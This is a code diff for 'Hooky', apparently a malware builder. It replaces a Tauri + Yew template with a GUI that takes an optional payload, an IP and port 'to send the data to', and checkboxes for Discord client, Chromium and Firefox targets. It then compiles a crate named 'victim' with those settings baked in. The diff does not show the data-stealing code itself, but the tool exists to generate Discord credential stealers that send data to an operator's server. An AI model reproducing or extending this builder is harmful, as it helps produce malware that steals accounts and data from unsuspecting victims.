M command/index.html => command/index.html +1 -1
@@ 2,7 2,7 @@
<html>
<head>
<meta charset="utf-8" />
- <title>Tauri + Yew App</title>
+ <title>Hooky</title>
<link data-trunk rel="css" href="style.css" />
<link data-trunk rel="copy-dir" href="public" />
</head>
A command/public/glue.js +22 -0
@@ 0,0 1,22 @@
+const invoke = window.__TAURI__.invoke
+
+export async function invokeGen(features, payload, sendTo) {
+ return await invoke(
+ "gen", {features : features, payload : payload, sendTo : sendTo});
+}
+
+export async function isOn(
+ id) { return await document.getElementById(id).checked;}
+
+export async function setPayload() {
+ document.getElementById("payload").value =
+ await window.__TAURI__.dialog.open();
+}
+
+export async function
+getPayload() { return document.getElementById("payload").value;}
+
+export async function getIp() {
+ return document.getElementById("ip").value + ":" +
+ document.getElementById("port").value;
+}
A command/public/hooky.svg +57 -0
@@ 0,0 1,57 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+ width="42.45446mm"
+ height="13.213074mm"
+ viewBox="0 0 42.45446 13.213074"
+ version="1.1"
+ id="svg5"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:svg="http://www.w3.org/2000/svg">
+ <sodipodi:namedview
+ id="namedview7"
+ pagecolor="#505050"
+ bordercolor="#eeeeee"
+ borderopacity="1"
+ inkscape:showpageshadow="0"
+ inkscape:pageopacity="0"
+ inkscape:pagecheckerboard="0"
+ inkscape:deskcolor="#505050"
+ inkscape:document-units="mm"
+ showgrid="false" />
+ <defs
+ id="defs2" />
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1"
+ transform="translate(-83.772776,-141.89346)">
+ <rect
+ style="fill:#1e1e2e;stroke:#1e1e2e;stroke-width:0.343031;stroke-dashoffset:10.0432;stroke-opacity:0.00713112"
+ id="rect387"
+ width="42.111427"
+ height="12.870039"
+ x="83.94429"
+ y="142.06499"
+ ry="6.4350195" />
+ <text
+ xml:space="preserve"
+ style="font-style:normal;font-variant:normal;font-weight:300;font-stretch:normal;font-size:10.5833px;line-height:8.65;font-family:'JetBrains Mono';-inkscape-font-specification:'JetBrains Mono Light';fill:#7d6837;fill-opacity:1;stroke:none;stroke-width:0.264583"
+ x="88.908089"
+ y="151.93956"
+ id="text283"><tspan
+ sodipodi:role="line"
+ id="tspan281"
+ style="font-style:normal;font-variant:normal;font-weight:300;font-stretch:normal;font-family:'JetBrains Mono';-inkscape-font-specification:'JetBrains Mono Light';fill:#7d6837;fill-opacity:1;stroke-width:0.264583"
+ x="88.908089"
+ y="151.93956">Hooky</tspan></text>
+ <path
+ id="rect1134"
+ style="fill:#7d6837;stroke:#1e1e2e;stroke-width:0.264999;stroke-dashoffset:10.0432;stroke-opacity:0.00713112"
+ d="m 90.639411,150.66338 0.694662,-0.89302 -0.553604,2.1681 -0.07804,0.001 z"
+ sodipodi:nodetypes="ccccc" />
+ </g>
+</svg>
D command/public/tauri.svg +0 -6
@@ 1,6 0,0 @@
-<svg width="206" height="231" viewBox="0 0 206 231" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M143.143 84C143.143 96.1503 133.293 106 121.143 106C108.992 106 99.1426 96.1503 99.1426 84C99.1426 71.8497 108.992 62 121.143 62C133.293 62 143.143 71.8497 143.143 84Z" fill="#FFC131"/>
-<ellipse cx="84.1426" cy="147" rx="22" ry="22" transform="rotate(180 84.1426 147)" fill="#24C8DB"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M166.738 154.548C157.86 160.286 148.023 164.269 137.757 166.341C139.858 160.282 141 153.774 141 147C141 144.543 140.85 142.121 140.558 139.743C144.975 138.204 149.215 136.139 153.183 133.575C162.73 127.404 170.292 118.608 174.961 108.244C179.63 97.8797 181.207 86.3876 179.502 75.1487C177.798 63.9098 172.884 53.4021 165.352 44.8883C157.82 36.3744 147.99 30.2165 137.042 27.1546C126.095 24.0926 114.496 24.2568 103.64 27.6274C92.7839 30.998 83.1319 37.4317 75.8437 46.1553C74.9102 47.2727 74.0206 48.4216 73.176 49.5993C61.9292 50.8488 51.0363 54.0318 40.9629 58.9556C44.2417 48.4586 49.5653 38.6591 56.679 30.1442C67.0505 17.7298 80.7861 8.57426 96.2354 3.77762C111.685 -1.01901 128.19 -1.25267 143.769 3.10474C159.348 7.46215 173.337 16.2252 184.056 28.3411C194.775 40.457 201.767 55.4101 204.193 71.404C206.619 87.3978 204.374 103.752 197.73 118.501C191.086 133.25 180.324 145.767 166.738 154.548ZM41.9631 74.275L62.5557 76.8042C63.0459 72.813 63.9401 68.9018 65.2138 65.1274C57.0465 67.0016 49.2088 70.087 41.9631 74.275Z" fill="#FFC131"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M38.4045 76.4519C47.3493 70.6709 57.2677 66.6712 67.6171 64.6132C65.2774 70.9669 64 77.8343 64 85.0001C64 87.1434 64.1143 89.26 64.3371 91.3442C60.0093 92.8732 55.8533 94.9092 51.9599 97.4256C42.4128 103.596 34.8505 112.392 30.1816 122.756C25.5126 133.12 23.9357 144.612 25.6403 155.851C27.3449 167.09 32.2584 177.598 39.7906 186.112C47.3227 194.626 57.153 200.784 68.1003 203.846C79.0476 206.907 90.6462 206.743 101.502 203.373C112.359 200.002 122.011 193.568 129.299 184.845C130.237 183.722 131.131 182.567 131.979 181.383C143.235 180.114 154.132 176.91 164.205 171.962C160.929 182.49 155.596 192.319 148.464 200.856C138.092 213.27 124.357 222.426 108.907 227.222C93.458 232.019 76.9524 232.253 61.3736 227.895C45.7948 223.538 31.8055 214.775 21.0867 202.659C10.3679 190.543 3.37557 175.59 0.949823 159.596C-1.47592 143.602 0.768139 127.248 7.41237 112.499C14.0566 97.7497 24.8183 85.2327 38.4045 76.4519ZM163.062 156.711L163.062 156.711C162.954 156.773 162.846 156.835 162.738 156.897C162.846 156.835 162.954 156.773 163.062 156.711Z" fill="#24C8DB"/>
-</svg>
D command/public/yew.png +0 -0
M command/src-tauri/Cargo.toml => command/src-tauri/Cargo.toml +3 -1
@@ 16,7 16,9 @@ tauri-build = { version = "1.2", features = [] }
[dependencies]
serde_json = "1.0"
serde = { version = "1.0", features = ["derive"] }
-tauri = { version = "1.2", features = ["shell-open"] }
+tauri = { version = "1.2", features = ["dialog-open", "shell-open"] }
+config = { path = "../../config" }
+toml = "0.5.10"
[features]
# by default Tauri runs in production mode
M command/src-tauri/src/main.rs => command/src-tauri/src/main.rs +36 -4
@@ 3,15 3,47 @@
windows_subsystem = "windows"
)]
-// Learn more about Tauri commands at https://tauri.app/v1/guides/features/command
+use std::process::Command;
+use config::Config;
+use std::fs::File;
+use std::io::Write;
+
#[tauri::command]
-fn greet(name: &str) -> String {
- format!("Hello, {}! You've been greeted from Rust!", name)
+fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
+ if payload == Some("".to_string()) {payload = None;}
+ let mut path = std::env::current_exe().unwrap();
+ for _ in 0..4 {
+ path.pop();
+ }
+ path.push("victim");
+ path.push("config.toml");
+ let config = Config {
+ payload: payload.clone(),
+ send_to,
+ };
+ let mut file = File::create(path.clone()).unwrap();
+ file.write_all(toml::to_string(&config).unwrap().as_bytes()).unwrap();
+ file.sync_all().unwrap();
+ path.pop();
+ let mut args = vec!["build", "--release"];
+ for i in features.iter().map(|x| x.as_str()).collect::<Vec<_>>() {
+ args.push("--features");
+ args.push(i);
+ }
+ if payload.is_some() {
+ args.push("--features");
+ args.push("payload");
+ }
+ Command::new("cargo")
+ .args(args)
+ .current_dir(&path.display().to_string())
+ .output()
+ .expect("failed to execute process");
}
fn main() {
tauri::Builder::default()
- .invoke_handler(tauri::generate_handler![greet])
+ .invoke_handler(tauri::generate_handler![gen])
.run(tauri::generate_context!())
.expect("error while running tauri application");
}
M command/src-tauri/tauri.conf.json => command/src-tauri/tauri.conf.json +6 -1
@@ 16,6 16,11 @@
"shell": {
"all": false,
"open": true
+ },
+ "dialog": {
+ "all": false,
+ "open": true,
+ "save": false
}
},
"bundle": {
@@ 62,7 67,7 @@
"fullscreen": false,
"height": 600,
"resizable": true,
- "title": "command",
+ "title": "Hooky",
"width": 800
}
]
M command/src/app.rs => command/src/app.rs +60 -74
@@ 1,93 1,79 @@
-use serde::{Deserialize, Serialize};
-use serde_wasm_bindgen::to_value;
use wasm_bindgen::prelude::*;
-use wasm_bindgen_futures::spawn_local;
+use yew::platform::spawn_local;
use yew::prelude::*;
-#[wasm_bindgen]
+#[wasm_bindgen(module = "/public/glue.js")]
extern "C" {
- #[wasm_bindgen(js_namespace = ["window", "__TAURI__", "tauri"])]
- async fn invoke(cmd: &str, args: JsValue) -> JsValue;
-
- #[wasm_bindgen(js_namespace = console)]
- fn log(s: &str);
-}
-
-#[derive(Serialize, Deserialize)]
-struct GreetArgs<'a> {
- name: &'a str,
+ #[wasm_bindgen(js_name = invokeGen, catch)]
+ async fn gen(features: Vec<JsValue>, payload: JsValue, send_to: JsValue) -> Result<JsValue, JsValue>;
+
+ #[wasm_bindgen(js_name = isOn, catch)]
+ async fn is_on(id: String) -> Result<JsValue, JsValue>;
+
+ #[wasm_bindgen(js_name = getPayload, catch)]
+ async fn getPayload() -> Result<JsValue, JsValue>;
+
+ #[wasm_bindgen(js_name = setPayload)]
+ async fn setPayload();
+
+ #[wasm_bindgen(js_name = getIp, catch)]
+ async fn getIp() -> Result<JsValue, JsValue>;
}
-
+
#[function_component(App)]
pub fn app() -> Html {
- let greet_input_ref = use_node_ref();
-
- let name = use_state(|| String::new());
-
- let greet_msg = use_state(|| String::new());
- {
- let greet_msg = greet_msg.clone();
- let name = name.clone();
- let name2 = name.clone();
- use_effect_with_deps(
- move |_| {
- spawn_local(async move {
- if name.is_empty() {
- return;
- }
+ let types: Vec<&str> = vec!["discord-client", "discord-chromium", "discord-firefox"];
- // Learn more about Tauri commands at https://tauri.app/v1/guides/features/command
- let new_msg = invoke(
- "greet",
- to_value(&GreetArgs { name: &*name }).unwrap(),
- )
- .await;
- log(&new_msg.as_string().unwrap());
- greet_msg.set(new_msg.as_string().unwrap());
- });
+ let types_clone = types.clone();
+ let gen = Callback::from(move |_| {
+ let types_clone = types_clone.clone();
+ spawn_local(async move {
+ let mut features: Vec<JsValue> = Vec::new();
+ for i in types_clone {
+ let on = is_on(i.to_string()).await;
+ if on.is_ok() && on.unwrap() == true {
+ features.push(JsValue::from_str(i));
+ }
+ }
+ let _ = gen(features, getPayload().await.unwrap_or(JsValue::null()), getIp().await.unwrap_or(JsValue::from_str("127.0.0.1:13337"))).await;
+ });
+ });
+
+ let payload_button = Callback::from(move |_| {
+ spawn_local(async move {
+ setPayload().await;
+ });
+ });
- || {}
- },
- name2,
- );
- }
-
- let greet = {
- let name = name.clone();
- let greet_input_ref = greet_input_ref.clone();
- Callback::from(move |_| {
- name.set(greet_input_ref.cast::<web_sys::HtmlInputElement>().unwrap().value());
- })
- };
+ let mut id = 0;
html! {
<main class="container">
<div class="row">
- <a href="https://tauri.app" target="_blank">
- <img src="public/tauri.svg" class="logo tauri" alt="Tauri logo"/>
- </a>
- <a href="https://yew.rs" target="_blank">
- <img src="public/yew.png" class="logo yew" alt="Yew logo"/>
- </a>
+ <img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
</div>
+
+ <label for={"payload"}>{"Payload (Optional)"}</label>
+ <input type="text" id={"payload"} />
+ <button type="button" onclick={payload_button}>{"Open"}</button>
+
+ <label for={"ip"}>{"Ip / Domain to send the data to"}</label>
+ <input type="text" value={"1.1.1.1"} id={"ip"} />
+
+ <label for={"port"}>{"Port to send the data to"}</label>
+ <input type="number" value={13337} id={"port"} />
+
+ {
+ for types.iter().map(|i| {
+ id+=1;
+ html! { <><input type="checkbox" id={i.to_string()} checked={ true } /><label for={i.to_string()}>{ i.replace("-", " ") }</label></>}
+ }
+ )
+ }
- <p>{"Click on the Tauri and Yew logos to learn more."}</p>
-
- <p>
- {"Recommended IDE setup: "}
- <a href="https://code.visualstudio.com/" target="_blank">{"VS Code"}</a>
- {" + "}
- <a href="https://github.com/tauri-apps/tauri-vscode" target="_blank">{"Tauri"}</a>
- {" + "}
- <a href="https://github.com/rust-lang/rust-analyzer" target="_blank">{"rust-analyzer"}</a>
- </p>
-
- <div class="row">
- <input id="greet-input" ref={greet_input_ref} placeholder="Enter a name..." />
- <button type="button" onclick={greet}>{"Greet"}</button>
+ <div class="row" style="margin-top: 25px">
+ <button type="button" onclick={gen}>{"Generate"}</button>
</div>
-
- <p><b>{ &*greet_msg }</b></p>
</main>
}
}
M command/style.css => command/style.css +6 -22
@@ 1,14 1,11 @@
-.logo.yew:hover {
- filter: drop-shadow(0 0 2em #20a88a);
-}
:root {
font-family: Inter, Avenir, Helvetica, Arial, sans-serif;
font-size: 16px;
line-height: 24px;
font-weight: 400;
- color: #0f0f0f;
- background-color: #f6f6f6;
+ color: #ffffff;
+ background-color: #1e1e2e;
font-synthesis: none;
text-rendering: optimizeLegibility;
@@ 33,8 30,8 @@
transition: 0.75s;
}
-.logo.tauri:hover {
- filter: drop-shadow(0 0 2em #24c8db);
+.logo.hooky:hover {
+ filter: drop-shadow(0 0 2em #7d6837);
}
.row {
@@ 87,19 84,6 @@ button {
margin-right: 5px;
}
-@media (prefers-color-scheme: dark) {
- :root {
- color: #f6f6f6;
- background-color: #2f2f2f;
- }
-
- a:hover {
- color: #24c8db;
- }
-
- input,
- button {
- color: #ffffff;
- background-color: #0f0f0f98;
- }
+input[type=checkbox] {
+ outline: 2px solid #ffffff;
}
M config/src/lib.rs => config/src/lib.rs +3 -3
@@ 1,7 1,7 @@
-use serde_derive::Deserialize;
+use serde_derive::{Deserialize, Serialize};
-#[derive(Deserialize)]
+#[derive(Deserialize, Serialize)]
pub struct Config {
pub payload: Option<String>,
- pub send_to: Option<String>,
+ pub send_to: String,
}
M victim/build.rs => victim/build.rs +1 -3
@@ 12,7 12,5 @@ fn main() {
if let Some(payload) = config.payload {
println!("cargo:rustc-env=payload={}", payload);
}
- if let Some(payload) = config.send_to {
- println!("cargo:rustc-env=send_to={}", payload);
- }
+ println!("cargo:rustc-env=send_to={}", config.send_to);
}